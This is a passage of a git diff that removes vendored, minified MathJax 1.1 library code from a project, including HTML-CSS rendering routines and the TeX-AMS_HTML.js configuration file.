g={pageX:i.pageX,pageY:i.pageY,clientX:i.clientX,clientY:i.clientY};MathJax.Callback.Queue(c.Require("[MathJax]/extensions/MathMenu.js"),function(){delete c.loadingMathMenu},[this,arguments.callee,g,j])}if(!i){i=window.event}if(i.preventDefault){i.preventDefault()}if(i.stopPropagation){i.stopPropagation()}i.cancelBubble=true;i.returnValue=false;return false}}},Mousedown:function(f){if(e.config.showMathMenu){if(!f){f=window.event}if(e.settings.context==="MathJax"){if(!e.noContextMenuBug||f.button!==2){return}}else{if(!f[e.MENUKEY]||f.button!==e.LEFTBUTTON){return}}return e.ContextMenu.call(this,f,true)}},Mouseover:function(f){e.HandleEvent(f,"Mouseover",this)},Click:function(f){e.HandleEvent(f,"Click",this)},DblClick:function(f){e.HandleEvent(f,"DblClick",this)},HandleEvent:function(h,f,g){},initImg:function(f){},initHTML:function(g,f){},initFont:function(f){var h=e.FONTDATA.FONTS,g=e.config.availableFonts;if(g&&g.length&&e.Font.testFont(h[f])){h[f].available=true;return null}if(!this.allowWebFonts){return null}h[f].isWebFont=true;if(e.FontFaceBug){h[f].family=f;if(e.msieFontCSSBug){h[f].family+="-Web"}}return c.Styles({"@font-face":this.Font.fontFace(f)})},Remove:function(f){var g=f.SourceElement();if(!g){return}g=g.previousSibling;if(!g){return}if(g.className.match(/^MathJax/)){g.parentNode.removeChild(g)}},getScales:function(h){h.parentNode.insertBefore(this.HDMspan,h);this.HDMspan.className="";this.HDMspan.id="";this.HDMspan.style.fontSize="";this.HDMimg.style.height="1px";this.HDMimg.style.width="60ex";var g=this.HDMspan.offsetWidth/60;this.HDMspan.className="MathJax";this.HDMspan.id="MathJax_getScales";this.HDMimg.style.width="60em";var f=this.outerEm=this.HDMspan.offsetWidth/60;this.scale=Math.floor(Math.max(this.config.minScaleAdjust/100,(g/this.TeX.x_height)/f)*this.config.scale);h.style.fontSize=this.HDMspan.style.fontSize=this.scale+"%";this.em=a.mbase.prototype.em=this.HDMspan.offsetWidth/60;if(this.operaFontSizeBug&&f===this.em&&this.scale!==100){this.em=a.mbase.prototype.em=f*this.scale/100}h.parentNode.removeChild(this.HDMspan);this.msieMarginScale=this.getMarginScale(h)},getMarginScale:function(f){return 1},getMSIEmarginScale:function(h){h.appendChild(this.marginCheck);var f=this.marginCheck.offsetWidth,g=this.marginMove.offsetWidth;var i=(2*g-f?g/(2*g-f):1);h.removeChild(this.marginCheck);return i},getHD:function(g){var f=g.style.position;g.style.position="absolute";this.HDimg.style.height="0px";g.appendChild(this.HDspan);var h={h:g.offsetHeight};this.HDimg.style.height=h.h+"px";h.d=g.offsetHeight-h.h;h.h-=h.d;h.h/=this.em;h.d/=this.em;g.removeChild(this.HDspan);g.style.position=f;return h},getW:function(i){var g=i.offsetWidth,h=(i.bbox?i.bbox.w:-1),j=i;if((h<0||this.negativeSkipBug)&&g>=0){if(this.negativeSkipBug){var f=i.style.position;i.style.position="absolute";j=this.startMarker;if(i.firstChild){i.insertBefore(j,i.firstChild)}else{i.appendChild(j)}j=this.startMarker}i.appendChild(this.endMarker);g=this.endMarker.offsetLeft-j.offsetLeft;i.removeChild(this.endMarker);if(this.negativeSkipBug){i.removeChild(j);i.style.position=f}}return g/this.em},Measured:function(h,g){if(h.bbox.width==null&&h.bbox.w&&!h.bbox.isMultiline){var f=this.getW(h);h.bbox.rw+=f-h.bbox.w;h.bbox.w=f}if(!g){g=h.parentNode}if(!g.bbox){g.bbox=h.bbox}return h},Remeasured:function(g,f){f.bbox=this.Measured(g,f).bbox},Em:function(f){if(Math.abs(f)<0.0006){return"0em"}return f.toFixed(3).replace(/\.?0+$/,"")+"em"},Percent:function(f){return(100*f).toFixed(1).replace(/\.?0+$/,"")+"%"},length2percent:function(f){return this.Percent(this.length2em(f))},length2em:function(k,i){if(typeof(k)!=="string"){k=k.toString()}if(k===""){return""}if(k===a.SIZE.NORMAL){return 1}if(k===a.SIZE.BIG){return 2}if(k===a.SIZE.SMALL){return 0.71}if(k==="infinity"){return e.BIGDIMEN}var h=this.FONTDATA.TeX_factor;if(k.match(/mathspace$/)){return e.MATHSPACE[k]*h}var g=k.match(/^\s*([-+]?(?:\.\d+|\d+(?:\.\d*)?))?(pt|em|ex|mu|px|pc|in|mm|cm|%)?/);var f=parseFloat(g[1]||"1"),j=g[2];if(i==null){i=1}if(j==="em"){return f*h}if(j==="ex"){return f*e.TeX.x_height*h}if(j==="%"){return f/100*i}if(j==="px"){return f/e.em}if(j==="pt"){return f/10*h}if(j==="pc"){return f*1.2*h}if(j==="in"){return f*this.pxPerInch/e.em}if(j==="cm"){return f*this.pxPerInch/e.em/2.54}if(j==="mm"){return f*this.pxPerInch/e.em/25.4}if(j==="mu"){return f/18*h}return f*h*i},thickness2em:function(f){var g=e.TeX.rule_thickness;if(f===a.LINETHICKNESS.MEDIUM){return g}if(f===a.LINETHICKNESS.THIN){return 0.67*g}if(f===a.LINETHICKNESS.THICK){return 1.67*g}return this.length2em(f,g)},createStrut:function(i,g,j){var f=this.Element("span",{style:{display:"inline-block",overflow:"hidden",height:g+"px",width:"1px",marginRight:"-1px"}});if(j){i.insertBefore(f,i.firstChild)}else{i.appendChild(f)}return f},createBlank:function(g,f,h){var i=this.Element("span",{style:{display:"inline-block",overflow:"hidden",height:"1px",width:this.Em(f)}});if(h){g.insertBefore(i,g.firstChild)}else{g.appendChild(i)}return i},createShift:function(g,f,i){var h=this.Element("span",{style:{marginLeft:this.Em(f)}});if(i){g.insertBefore(h,g.firstChild)}else{g.appendChild(h)}return h},createSpace:function(k,j,m,f,g){var i=this.Em(Math.max(0,j+m)),l=this.Em(-m);if(this.msieInlineBlockAlignBug){l=this.Em(e.getHD(k.parentNode).d-m)}if(k.isBox||k.className=="mspace"){k.bbox={h:j*k.scale,d:m*k.scale,w:f*k.scale,rw:f*k.scale,lw:0};k.style.height=i;k.style.verticalAlign=l}else{k=this.addElement(k,"span",{style:{height:i,verticalAlign:l}})}if(f>=0){k.style.width=this.Em(f);k.style.display="inline-block"}else{if(this.msieNegativeSpaceBug){k.style.height=""}k.style.marginLeft=this.Em(f);if(e.safariNegativeSpaceBug&&k.parentNode.firstChild==k){this.createBlank(k,0,true)}}if(g&&g!==a.COLOR.TRANSPARENT){k.style.backgroundColor=g}return k},createRule:function(o,k,m,p,i){var j=e.TeX.min_rule_thickness;if(p>0&&p*this.em<j){p=j/this.em}if(k+m>0&&(k+m)*this.em<j){var l=1/(k+m)*(j/this.em);k*=l;m*=l}if(!i){i="solid"}else{i="solid "+i}i=this.Em(p)+" "+i;var q=this.Em(k+m),g=this.Em(-m);var n=this.addElement(o,"span",{style:{borderLeft:i,display:"inline-block",overflow:"hidden",width:0,height:q,verticalAlign:g},bbox:{h:k,d:m,w:p,rw:p,lw:0},noAdjust:true});if(p>0&&n.offsetWidth==0){n.style.width=this.Em(p)}if(o.isBox||o.className=="mspace"){o.bbox=n.bbox}return n},createFrame:function(o,m,n,p,r,g){var l=(this.msieBorderWidthBug?0:2*r);var q=this.Em(m+n-l),f=this.Em(-n-r),k=this.Em(p-l);var i=this.Em(r)+" "+g;var j=this.addElement(o,"span",{style:{border:i,display:"inline-block",overflow:"hidden",width:k,height:q},bbox:{h:m,d:n,w:p,rw:p,lw:0},noAdjust:true});if(f){j.style.verticalAlign=f}return j},createStack:function(h,j,g){if(this.msiePaddingWidthBug){this.createStrut(h,0)}var i=String(g).match(/%$/);var f=(!i&&g!=null?g:0);h=this.addElement(h,"span",{noAdjust:true,style:{display:"inline-block",position:"relative",width:(i?"100%":this.Em(f)),height:0}});if(!j){h.parentNode.bbox=h.bbox={h:-this.BIGDIMEN,d:-this.BIGDIMEN,w:f,lw:this.BIGDIMEN,rw:(!i&&g!=null?g:-this.BIGDIMEN)};if(i){h.bbox.width=g}}return h},createBox:function(g,f){var h=this.addElement(g,"span",{style:{position:"absolute"},isBox:true});if(f!=null){h.style.width=f}return h},addBox:function(f,g){g.style.position="absolute";g.isBox=true;return f.appendChild(g)},placeBox:function(n,m,k,i){var o=n.parentNode,v=n.bbox,q=o.bbox;if(this.msiePlaceBoxBug){this.addText(n,this.NBSP)}if(this.imgSpaceBug){this.addText(n,this.imgSpace)}var p=n.offsetHeight/this.em+1,z=0;if(n.noAdjust){p-=1}else{if(this.msieInlineBlockAlignBug){this.addElement(n,"img",{className:"MathJax_strut",border:0,src:"about:blank",style:{width:0,height:this.Em(p)}})}else{this.addElement(n,"span",{style:{display:"inline-block",width:0,height:this.Em(p)}})}}n.style.top=this.Em(-k-p);n.style.left=this.Em(m+z);if(v){if(this.negativeSkipBug){if(v.lw<0){z=v.lw;e.createBlank(n,-z,true);h=0}if(v.rw>v.w){e.createBlank(n,v.rw-v.w+0.1)}}if(!this.msieClipRectBug&&!v.noclip&&!i){var u=3/this.em;var s=(v.H==null?v.h:v.H),g=(v.D==null?v.d:v.D);var w=p-s-u,j=p+g+u,h=v.lw-3*u,f=1000;if(v.isFixed){f=v.width-h}n.style.clip="rect("+this.Em(w)+" "+this.Em(f)+" "+this.Em(j)+" "+this.Em(h)+")"}}if(v&&q){if(v.H!=null&&(q.H==null||v.H+k>q.H)){q.H=v.H+k}if(v.D!=null&&(q.D==null||v.D-k>q.D)){q.D=v.D-k}if(v.h+k>q.h){q.h=v.h+k}if(v.d-k>q.d){q.d=v.d-k}if(q.H!=null&&q.H<=q.h){delete q.H}if(q.D!=null&&q.D<=q.d){delete q.D}if(v.w+m>q.w){q.w=v.w+m;if(q.width==null){o.style.width=this.Em(q.w)}}if(v.rw+m>q.rw){q.rw=v.rw+m}if(v.lw+m<q.lw){q.lw=v.lw+m}if(v.width!=null&&!v.isFixed){if(q.width==null){o.style.width=q.width="100%"}n.style.width=v.width}}},alignBox:function(h,n,m){this.placeBox(h,0,m);var j=h.bbox;if(j.isMultiline){return}var g=j.width!=null&&!j.isFixed;var i=0,k=-j.w/2,f="50%";if(this.negativeSkipBug){i=j.w-j.rw-0.1;k+=j.lw}k=this.Em(k*this.msieMarginScale);if(g){k="";f=(50-parseFloat(j.width)/2)+"%"}d.Insert(h.style,({right:{left:"",right:this.Em(i)},center:{left:f,marginLeft:k}})[n])},setStackWidth:function(g,f){if(typeof(f)==="number"){g.style.width=this.Em(Math.max(0,f));if(g.bbox){g.bbox.w=f}if(g.parentNode.bbox){g.parentNode.bbox.w=f}}else{g.style.width=g.parentNode.style.width="100%";if(g.bbox){g.bbox.width=f}if(g.parentNode.bbox){g.parentNode.bbox.width=f}}},createDelimiter:function(q,f,h,l,j){if(!f){q.bbox={h:0,d:0,w:this.TeX.nulldelimiterspace,lw:0};q.bbox.rw=q.bbox.w;this.createSpace(q,q.bbox.h,q.bbox.d,q.bbox.w);return}if(!l){l=1}if(!(h instanceof Array)){h=[h,h]}var p=h[1];h=h[0];var g={alias:f};while(g.alias){f=g.alias;g=this.FONTDATA.DELIMITERS[f];if(!g){g={HW:[0,this.FONTDATA.VARIANT[a.VARIANT.NORMAL]]}}}for(var o=0,k=g.HW.length;o<k;o++){if(g.HW[o][0]*l>=h-0.01||(o==k-1&&!g.stretch)){if(g.HW[o][2]){l*=g.HW[o][2]}if(g.HW[o][3]){f=g.HW[o][3]}var n=this.addElement(q,"span");this.createChar(n,[f,g.HW[o][1]],l,j);q.bbox=n.bbox;q.offset=0.65*q.bbox.w;q.scale=l;return}}if(g.stretch){this["extendDelimiter"+g.dir](q,p,g.stretch,l,j)}},extendDelimiterV:function(v,p,A,B,s){var i=this.createStack(v,true);var r=this.createBox(i),q=this.createBox(i);this.createChar(r,(A.top||A.ext),B,s);this.createChar(q,(A.bot||A.ext),B,s);var g={bbox:{w:0,lw:0,rw:0}},z=g,j;var w=r.bbox.h+r.bbox.d+q.bbox.h+q.bbox.d;var m=-r.bbox.h;this.placeBox(r,0,m,true);m-=r.bbox.d;if(A.mid){z=this.createBox(i);this.createChar(z,A.mid,B,s);w+=z.bbox.h+z.bbox.d}if(p>w){g=this.Element("span");this.createChar(g,A.ext,B,s);var x=g.bbox.h+g.bbox.d,f=x-0.05,t,l,u=(A.mid?2:1);l=t=Math.ceil((p-w)/(u*f));if(!A.fullExtenders){f=(p-w)/(u*t)}var o=(t/(t+1))*(x-f);f=x-o;m+=o+f-g.bbox.h;while(u-->0){while(t-->0){if(!this.msieCloneNodeBug){j=g.cloneNode(true)}else{j=this.Element("span");this.createChar(j,A.ext,B,s)}m-=f;this.placeBox(this.addBox(i,j),0,m,true)}m+=o-g.bbox.d;if(A.mid&&u){this.placeBox(z,0,m-z.bbox.h,true);t=l;m+=-(z.bbox.h+z.bbox.d)+o+f-g.bbox.h}}}else{m+=(w-p)/2;if(A.mid){this.placeBox(z,0,m-z.bbox.h,true);m+=-(z.bbox.h+z.bbox.d)}m+=(w-p)/2}this.placeBox(q,0,m-q.bbox.h,true);m-=q.bbox.h+q.bbox.d;v.bbox={w:Math.max(r.bbox.w,g.bbox.w,q.bbox.w,z.bbox.w),lw:Math.min(r.bbox.lw,g.bbox.lw,q.bbox.lw,z.bbox.lw),rw:Math.max(r.bbox.rw,g.bbox.rw,q.bbox.rw,z.bbox.rw),h:0,d:-m};v.scale=B;v.offset=0.55*v.bbox.w;v.isMultiChar=true;this.setStackWidth(i,v.bbox.w)},extendDelimiterH:function(u,h,z,B,r){var l=this.createStack(u,true);var i=this.createBox(l),v=this.createBox(l);this.createChar(i,(z.left||z.rep),B,r);this.createChar(v,(z.right||z.rep),B,r);var f=this.Element("span");this.createChar(f,z.rep,B,r);var y={bbox:{h:-this.BIGDIMEN,d:-this.BIGDIMEN}},g;this.placeBox(i,-i.bbox.lw,0,true);var p=(i.bbox.rw-i.bbox.lw)+(v.bbox.rw-v.bbox.lw)-0.05,o=i.bbox.rw-i.bbox.lw-0.025,q;if(z.mid){y=this.createBox(l);this.createChar(y,z.mid,B,r);p+=y.bbox.w}if(h>p){var A=f.bbox.rw-f.bbox.lw,j=A-0.05,s,m,t=(z.mid?2:1);m=s=Math.ceil((h-p)/(t*j));j=(h-p)/(t*s);q=(s/(s+1))*(A-j);j=A-q;o-=f.bbox.lw+q;while(t-->0){while(s-->0){if(!this.msieCloneNodeBug){g=f.cloneNode(true)}else{g=this.Element("span");this.createChar(g,z.rep,B,r)}this.placeBox(this.addBox(l,g),o,0,true);o+=j}if(z.mid&&t){this.placeBox(y,o,0,true);o+=y.bbox.w-q;s=m}}}else{q=Math.min(p-h,i.bbox.w/2);o-=q/2;if(z.mid){this.placeBox(y,o,0,true);o+=y.bbox.w}o-=q/2}this.placeBox(v,o,0,true);u.bbox={w:o+v.bbox.rw,lw:0,rw:o+v.bbox.rw,H:Math.max(i.bbox.h,f.bbox.h,v.bbox.h,y.bbox.h),D:Math.max(i.bbox.d,f.bbox.d,v.bbox.d,y.bbox.d),h:f.bbox.h,d:f.bbox.d};u.scale=B;u.isMultiChar=true;this.setStackWidth(l,u.bbox.w)},createChar:function(o,k,h,f){var n=o,p="",j={fonts:[k[1]],noRemap:true};if(f&&f===a.VARIANT.BOLD){j.fonts=[k[1]+"-bold",k[1]]}if(typeof(k[1])!=="string"){j=k[1]}if(k[0] instanceof Array){for(var l=0,g=k[0].length;l<g;l++){p+=String.fromCharCode(k[0][l])}}else{p=String.fromCharCode(k[0])}if(h!==1){n=this.addElement(o,"span",{style:{fontSize:this.Percent(h)},scale:h});this.handleVariant(n,j,p);o.bbox=n.bbox}else{this.handleVariant(o,j,p)}if(k[2]){o.style.marginLeft=this.Em(k[2])}if(this.AccentBug&&o.bbox.w===0){n.firstChild.nodeValue+=this.NBSP;e.createSpace(o,0,0,-o.offsetWidth/e.em)}},positionDelimiter:function(g,f){f-=g.bbox.h;g.bbox.d-=f;g.bbox.h+=f;if(f){if(this.safariVerticalAlignBug||this.msieVerticalAlignBug||this.konquerorVerticalAlignBug||(this.operaVerticalAlignBug&&g.isMultiChar)){if(g.firstChild.style.display===""&&g.style.top!==""){g=g.firstChild;f-=parseFloat(g.style.top)}g.style.position="relative";g.style.top=this.Em(-f)}else{g.style.verticalAlign=this.Em(f);if(e.ffVerticalAlignBug){e.createRule(g.parentNode,g.bbox.h,0,0)}}}},handleVariant:function(v,j,o){var u="",s,y,p,g,x,z,f=v;if(o.length===0){return}if(!v.bbox){v.bbox={w:0,h:-this.BIGDIMEN,d:-this.BIGDIMEN,rw:-this.BIGDIMEN,lw:this.BIGDIMEN}}if(!j){j=this.FONTDATA.VARIANT[a.VARIANT.NORMAL]}z=j;for(var w=0,t=o.length;w<t;w++){j=z;s=o.charCodeAt(w);y=o.charAt(w);if(y===this.PLANE1){w++;s=o.charCodeAt(w)+119808-56320;if(this.FONTDATA.RemapPlane1){var A=this.FONTDATA.RemapPlane1(s,j);s=A.n;j=A.variant}}else{var q,l,r=this.FONTDATA.RANGES;for(q=0,l=r.length;q<l;q++){if(r[q].name==="alpha"&&j.noLowerCase){continue}var k=j["offset"+r[q].offset];if(k&&s>=r[q].low&&s<=r[q].high){if(r[q].remap&&r[q].remap[s]){s=k+r[q].remap[s]}else{s=s-r[q].low+k;if(r[q].add){s+=r[q].add}}if(j["variant"+r[q].offset]){j=this.FONTDATA.VARIANT[j["variant"+r[q].offset]]}break}}}if(j.remap&&j.remap[s]){if(j.remap[s] instanceof Array){var h=j.remap[s];s=h[0];j=this.FONTDATA.VARIANT[h[1]]}else{s=j.remap[s];if(j.remap.variant){j=this.FONTDATA.VARIANT[j.remap.variant]}}}if(this.FONTDATA.REMAP[s]&&!j.noRemap){s=this.FONTDATA.REMAP[s]}p=this.lookupChar(j,s);y=p[s];if(j!==x&&!y[5].img){if(u.length){this.addText(f,u);u=""}f=v;x=g;if(j!==x){if(x){f=this.addElement(v,"span")}else{g=j}}this.handleFont(f,p,f!==v);x=j}u=this.handleChar(f,p,y,s,u);if(y[0]/1000>v.bbox.h){v.bbox.h=y[0]/1000}if(y[1]/1000>v.bbox.d){v.bbox.d=y[1]/1000}if(v.bbox.w+y[3]/1000<v.bbox.lw){v.bbox.lw=v.bbox.w+y[3]/1000}if(v.bbox.w+y[4]/1000>v.bbox.rw){v.bbox.rw=v.bbox.w+y[4]/1000}v.bbox.w+=y[2]/1000}if(u.length){this.addText(f,u)}if(v.scale&&v.scale!==1){v.bbox.h*=v.scale;v.bbox.d*=v.scale;v.bbox.w*=v.scale;v.bbox.lw*=v.scale;v.bbox.rw*=v.scale}if(o.length==1&&p.skew&&p.skew[s]){v.bbox.skew=p.skew[s]}},handleFont:function(h,f,j){h.style.fontFamily=f.family;if(!(e.FontFaceBug&&f.isWebFont)){var g=f.style||"normal",i=f.weight||"normal";if(g!=="normal"||j){h.style.fontStyle=g}if(i!=="normal"||j){h.style.fontWeight=i}}},handleChar:function(g,f,l,k,j){var i=l[5];if(i.img){return this.handleImg(g,f,l,k,j)}if(i.isUnknown&&this.FONTDATA.DELIMITERS[k]){if(j.length){this.addText(g,j)}var h=g.scale;e.createDelimiter(g,k,0,1,f);g.scale=h;l[0]=g.bbox.h*1000;l[1]=g.bbox.d*1000;l[2]=g.bbox.w*1000;l[3]=g.bbox.lw*1000;l[4]=g.bbox.rw*1000;return""}if(i.c==null){if(k<=65535){i.c=String.fromCharCode(k)}else{i.c=this.PLANE1+String.fromCharCode(k-119808+56320)}}if(l[2]||!this.msieAccentBug||j.length){return j+i.c}e.createShift(g,l[3]/1000);e.createShift(g,(l[4]-l[3])/1000);this.addText(g,i.c);e.createShift(g,-l[4]/1000);return""},handleImg:function(g,f,j,i,h){return h},lookupChar:function(j,p){var h,f;if(!j.FONTS){var o=this.FONTDATA.FONTS;var l=(j.fonts||this.FONTDATA.VARIANT.normal.fonts);if(!(l instanceof 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g=this.HTMLspanElement();if(g.style.fontSize!=""){f.fontsize=g.style.fontSize}}if(f.fontsize&&!this.mathsize){f.mathsize=f.fontsize}if(f.scriptlevel!==0){if(f.scriptlevel>2){f.scriptlevel=2}h=Math.pow(this.Get("scriptsizemultiplier"),f.scriptlevel);f.scriptminsize=e.length2em(f.scriptminsize);if(h<f.scriptminsize){h=f.scriptminsize}}h*=e.length2em(f.mathsize);return h},HTMLgetVariant:function(){var f=this.getValues("mathvariant","fontfamily","fontweight","fontstyle");if(this.style){var h=this.HTMLspanElement();if(h.style.fontFamily){f.fontfamily=h.style.fontFamily}if(h.style.fontWeight){f.fontweight=h.style.fontWeight}if(h.style.fontStyle){f.fontStyle=h.style.fontStyle}}var g=f.mathvariant;if(this.variantForm){g="-"+e.fontInUse+"-variant"}if(f.fontfamily&&!this.mathvariant){if(!f.fontweight&&f.mathvariant.match(/bold/)){f.fontweight="bold"}if(!f.fontstyle&&f.mathvariant.match(/italic/)){f.fontstyle="italic"}return{FONTS:[],fonts:[],noRemap:true,defaultFont:{family:f.fontfamily,style:f.fontstyle,weight:f.fontweight}}}if(f.fontweight==="bold"){g={normal:a.VARIANT.BOLD,italic:a.VARIANT.BOLDITALIC,fraktur:a.VARIANT.BOLDFRAKTUR,script:a.VARIANT.BOLDSCRIPT,"sans-serif":a.VARIANT.BOLDSANSSERIF,"sans-serif-italic":a.VARIANT.SANSSERIFBOLDITALIC}[g]||g}else{if(f.fontweight==="normal"){g={bold:a.VARIANT.normal,"bold-italic":a.VARIANT.ITALIC,"bold-fraktur":a.VARIANT.FRAKTUR,"bold-script":a.VARIANT.SCRIPT,"bold-sans-serif":a.VARIANT.SANSSERIF,"sans-serif-bold-italic":a.VARIANT.SANSSERIFITALIC}[g]||g}}if(f.fontstyle==="italic"){g={normal:a.VARIANT.ITALIC,bold:a.VARIANT.BOLDITALIC,"sans-serif":a.VARIANT.SANSSERIFITALIC,"bold-sans-serif":a.VARIANT.SANSSERIFBOLDITALIC}[g]||g}else{if(f.fontstyle==="normal"){g={italic:a.VARIANT.NORMAL,"bold-italic":a.VARIANT.BOLD,"sans-serif-italic":a.VARIANT.SANSSERIF,"sans-serif-bold-italic":a.VARIANT.BOLDSANSSERIF}[g]||g}}return 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l=(k.bbox.h-k.bbox.d)/2-e.TeX.axis_height*k.scale;if(e.safariVerticalAlignBug&&k.lastChild.nodeName==="IMG"){k.lastChild.style.verticalAlign=e.Em(parseFloat(k.lastChild.style.verticalAlign||0)/e.em-l/k.scale)}else{if(e.konquerorVerticalAlignBug&&k.lastChild.nodeName==="IMG"){k.style.position="relative";k.lastChild.style.position="relative";k.lastChild.style.top=e.Em(l/k.scale)}else{k.style.verticalAlign=e.Em(-l/k.scale)}}k.bbox.h-=l;k.bbox.d+=l;if(k.bbox.rw>k.bbox.w){k.bbox.ic=k.bbox.rw-k.bbox.w;e.createBlank(k,k.bbox.ic);k.bbox.w=k.bbox.rw}}this.HTMLhandleSpace(k);this.HTMLhandleColor(k);return k},HTMLcanStretch:function(f){if(!this.Get("stretchy")){return false}var g=this.data.join("");if(g.length>1){return false}g=e.FONTDATA.DELIMITERS[g.charCodeAt(0)];return(g&&g.dir==f.substr(0,1))},HTMLstretchV:function(l,k,n){this.HTMLremoveColor();var f=this.getValues("symmetric","maxsize","minsize");var j=this.HTMLspanElement(),g;var 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G=this.HTMLgetScale();var j=e.createStack(C),g;var i=e.createBox(j);this.HTMLmeasureChild(this.base,i);if(this.data[this.base]){if(w!=null){e.Remeasured(this.data[this.base].HTMLstretchV(i,A,w),i)}else{if(A!=null){e.Remeasured(this.data[this.base].HTMLstretchH(i,A),i)}}}e.placeBox(i,0,0);var h=(this.data[this.sup]||this.data[this.sub]||this).HTMLgetScale();var E=e.TeX.x_height*G,o=e.TeX.scriptspace*G*0.75;var f,k;if(this.HTMLnotEmpty(this.data[this.sup])){f=e.createBox(j);e.Measured(this.data[this.sup].toHTML(f),f);f.bbox.w+=o;f.bbox.rw=Math.max(f.bbox.w,f.bbox.rw)}if(this.HTMLnotEmpty(this.data[this.sub])){k=e.createBox(j);e.Measured(this.data[this.sub].toHTML(k),k);k.bbox.w+=o;k.bbox.rw=Math.max(k.bbox.w,k.bbox.rw)}var y=e.TeX.sup_drop*h,x=e.TeX.sub_drop*h;var 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-MathJax.Ajax.loadComplete("[MathJax]/config/TeX-AMS_HTML-full.js");
diff --git a/public/MathJax/config/TeX-AMS_HTML.js b/public/MathJax/config/TeX-AMS_HTML.js
deleted file mode 100644
index db17cd89..00000000
--- a/public/MathJax/config/TeX-AMS_HTML.js
+++ /dev/null
@@ -1,56 +0,0 @@
-/*
- *  /MathJax/config/TeX-AMS_HTML.js
- *  
- *  Copyright (c) 2010-11 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.Ajax.Preloading(
-  "[MathJax]/jax/input/TeX/config.js",
-  "[MathJax]/jax/output/HTML-CSS/config.js",
-  "[MathJax]/extensions/tex2jax.js",
-  "[MathJax]/extensions/MathZoom.js",
-  "[MathJax]/extensions/MathMenu.js",
-  "[MathJax]/jax/element/mml/jax.js",
-  "[MathJax]/extensions/toMathML.js",
-  "[MathJax]/extensions/TeX/noErrors.js",
-  "[MathJax]/extensions/TeX/noUndefined.js",
-  "[MathJax]/jax/input/TeX/jax.js",
-  "[MathJax]/extensions/TeX/AMSmath.js",
-  "[MathJax]/extensions/TeX/AMSsymbols.js"
-);
-
-MathJax.Hub.Config({"v1.0-compatible":false});
-
-MathJax.InputJax.TeX=MathJax.InputJax({id:"TeX",version:"1.1.1",directory:MathJax.InputJax.directory+"/TeX",extensionDir:MathJax.InputJax.extensionDir+"/TeX",config:{TagSide:"right",TagIndent:"0.8em",MultLineWidth:"85%"}});MathJax.InputJax.TeX.Register("math/tex");MathJax.InputJax.TeX.loadComplete("config.js");
-
-MathJax.OutputJax["HTML-CSS"]=MathJax.OutputJax({id:"HTML-CSS",version:"1.1.5",directory:MathJax.OutputJax.directory+"/HTML-CSS",extensionDir:MathJax.OutputJax.extensionDir+"/HTML-CSS",autoloadDir:MathJax.OutputJax.directory+"/HTML-CSS/autoload",fontDir:MathJax.OutputJax.directory+"/HTML-CSS/fonts",webfontDir:MathJax.OutputJax.fontDir+"/HTML-CSS",config:{scale:100,minScaleAdjust:50,availableFonts:["STIX","TeX"],preferredFont:"TeX",webFont:"TeX",imageFont:"TeX",undefinedFamily:"STIXGeneral,'Arial Unicode MS',serif",showMathMenu:true,styles:{".MathJax_Display":{"text-align":"center",margin:"1em 0em"},".MathJax .merror":{"background-color":"#FFFF88",color:"#CC0000",border:"1px solid #CC0000",padding:"1px 3px","font-family":"serif","font-style":"normal","font-size":"90%"},".MathJax_Preview":{color:"#888888"},"#MathJax_Tooltip":{"background-color":"InfoBackground",color:"InfoText",border:"1px solid black","box-shadow":"2px 2px 5px #AAAAAA","-webkit-box-shadow":"2px 2px 5px #AAAAAA","-moz-box-shadow":"2px 2px 5px #AAAAAA","-khtml-box-shadow":"2px 2px 5px #AAAAAA",filter:"progid:DXImageTransform.Microsoft.dropshadow(OffX=2, OffY=2, Color='gray', Positive='true')",padding:"3px 4px"}}}});if(MathJax.Hub.Browser.isMSIE&&document.documentMode>=9){delete MathJax.OutputJax["HTML-CSS"].config.styles["#MathJax_Tooltip"].filter}if(!MathJax.Hub.config.delayJaxRegistration){MathJax.OutputJax["HTML-CSS"].Register("jax/mml")}MathJax.Hub.Register.StartupHook("End Config",[function(b,c){var a=b.Insert({minBrowserVersion:{Firefox:3,Opera:9.52,MSIE:6,Chrome:0.3,Safari:2,Konqueror:4},inlineMathDelimiters:["$","$"],displayMathDelimiters:["$$","$$"],multilineDisplay:true,minBrowserTranslate:function(f){var e=b.getJaxFor(f),k=["[Math]"],j;var h=document.createElement("span",{className:"MathJax_Preview"});if(e.inputJax.id==="TeX"){if(e.root.Get("displaystyle")){j=a.displayMathDelimiters;k=[j[0]+e.originalText+j[1]];if(a.multilineDisplay){k=k[0].split(/\n/)}}else{j=a.inlineMathDelimiters;k=[j[0]+e.originalText.replace(/^\s+/,"").replace(/\s+$/,"")+j[1]]}}for(var g=0,d=k.length;g<d;g++){h.appendChild(document.createTextNode(k[g]));if(g<d-1){h.appendChild(document.createElement("br"))}}f.parentNode.insertBefore(h,f)}},(b.config["HTML-CSS"]||{}));if(b.Browser.version!=="0.0"&&!b.Browser.versionAtLeast(a.minBrowserVersion[b.Browser]||0)){c.Translate=a.minBrowserTranslate;b.Config({showProcessingMessages:false});MathJax.Message.Set("Your browser does not support MathJax",null,4000);b.Startup.signal.Post("MathJax not supported")}},MathJax.Hub,MathJax.OutputJax["HTML-CSS"]]);MathJax.OutputJax["HTML-CSS"].loadComplete("config.js");
-
-MathJax.Extension.tex2jax={version:"1.1.3",config:{inlineMath:[["\\(","\\)"]],displayMath:[["$$","$$"],["\\[","\\]"]],skipTags:["script","noscript","style","textarea","pre","code"],ignoreClass:"tex2jax_ignore",processClass:"tex2jax_process",processEscapes:false,processEnvironments:true,preview:"TeX"},PreProcess:function(a){if(!this.configured){this.config=MathJax.Hub.CombineConfig("tex2jax",this.config);if(this.config.Augment){MathJax.Hub.Insert(this,this.config.Augment)}if(typeof(this.config.previewTeX)!=="undefined"&&!this.config.previewTeX){this.config.preview="none"}this.configured=true}if(typeof(a)==="string"){a=document.getElementById(a)}if(!a){a=document.body}this.createPatterns();this.scanElement(a,a.nextSibling)},createPatterns:function(){var d=[],c,a,b=this.config;this.match={};for(c=0,a=b.inlineMath.length;c<a;c++){d.push(this.patternQuote(b.inlineMath[c][0]));this.match[b.inlineMath[c][0]]={mode:"",end:b.inlineMath[c][1],pattern:this.endPattern(b.inlineMath[c][1])}}for(c=0,a=b.displayMath.length;c<a;c++){d.push(this.patternQuote(b.displayMath[c][0]));this.match[b.displayMath[c][0]]={mode:"; 